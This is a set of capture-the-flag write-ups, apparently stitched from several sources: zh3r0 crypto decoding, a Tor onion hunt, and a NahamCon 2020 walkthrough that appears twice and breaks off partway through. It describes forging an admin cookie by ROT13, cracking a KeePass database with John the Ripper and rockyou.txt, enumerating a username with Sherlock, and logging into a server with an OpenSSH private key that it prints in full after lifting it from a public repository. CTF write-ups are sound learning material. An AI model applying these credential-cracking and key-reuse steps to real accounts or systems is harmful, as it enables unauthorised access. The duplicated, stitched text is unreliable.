flag 3:MTExMTExMTExMTAwMTAwMDEwMTAxMDExMTAxMDExMTExMTEwMTAxMTExMTExMTExMDExMDExMDExMDExMDAwMDAxMTAxMDAxMDAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAwMDAwMDAwMDAwMTAxMDAwMTAxMDAxMDAwMTAxMDAxMTExMTExMTAwMTAxMDAxMDExMTExMTExMTAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMTAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxMDEwMDAwMDAwMDAxMDEwMDExMDAwMDAwMDAxMDEwMDAxMDEwMTExMTAwMTAxMDAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDExMDExMDExMTExMTExMTExMTAwMTAxMA==
```
These are the main three parts of the flag.The first one is [Shift Keyboard](https://www.dcode.fr/keyboard-shift-cipher) encrypted data as the next highlited word from the challenge description says.After decoding this I got the first part of the flag.
```zh3r0{Y0u_sur3_
```
The middle one is looks like some decimal number presentation of the middle part of the flag.But I am wrong. When I was googling for this I got [this artical](https://www.reddit.com/r/codes/comments/evz1uk/riddle_from_discord_coding_language_if_you_could/) that have this following text.
```Hex ascii codes. 20 = Space, 30 = 0, 31 = 1.
```
There after, first I have turned the [hex into ascii](https://www.rapidtables.com/convert/number/hex-to-ascii.html) format & I got some binaries. After that I turned the [binary to text](https://www.rapidtables.com/convert/number/binary-to-ascii.html) format.And yup I got the middle part of the flag.
```4r3_4w3s0m3_wi7h
```
The third one is [base64](https://www.base64decode.net/) encoded data. After decoding this I got another cipher text which looks like some binary data but that is a [Spoon](https://www.dcode.fr/spoon-language) cipher as the last highlited word from the challenge description says& yeah I got the last part of the flag as well.
```_411_7h3_ski115}
```
**flag:**```zh3r0{Y0u_sur3_4r3_4w3s0m3_wi7h_411_7h3_ski115}```
# Web## Web-Warmup
Chall Link : http://web.zh3r0.ml:8080/
Easy peasy.
Author : careless_finch **Solution** Firstly we check the page source 
As there's nothing interesting , let's check ```bg.css```
**flag:** ```zh3r0{y3s_th1s_1s_w4rmup}``` |
## TearsWe - after brainstorming hundreds of different ways to understand the text - understood that we should use Tor. (Onions make us cry).
One teammate posted a wiki/index containing .onion URLs and a description of the site.
http://dirnxxdraygbifgc.onion/
From that site we found the forum by trying to find something like `galaxy` or `universe` that was mentioned in task description: http://galaxy3bhpzxecbywoa2j4tg43muepnhfalars4cce3fcx46qlc6t3id.onion/
And then this one by looking for the obvious username from the task description `un1v3rsek1ng`:http://galaxy3bhpzxecbywoa2j4tg43muepnhfalars4cce3fcx46qlc6t3id.onion/profile/un1v3rsek1ng
Found loads of fake pictures because someone sabotaged us :'(, but eventually found the right picture.
Then figured the pieces of text on the picture was base85, put the pieces together, decoded it and got the flag.
Base85 of `H>#*T0RGKkBeXFG?Xe%1DJ* |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf_writeups</span></span></span><span>/</span><span><span>NahamconCTF</span></span><span>/</span><span><span>Stegano</span></span><span>/</span>walk<span>/</span> </div> </div>
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Finsta is according to urban dictionary "a spam Instagram account where people post what they are too afraid to post on the real account".Knowing that, searching for the user NahamConTron on Instagram leads to the flag.
[https://www.instagram.com/nahamcontron/](https://www.instagram.com/nahamcontron/)
flag{i_feel_like_that_was_too_easy} |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
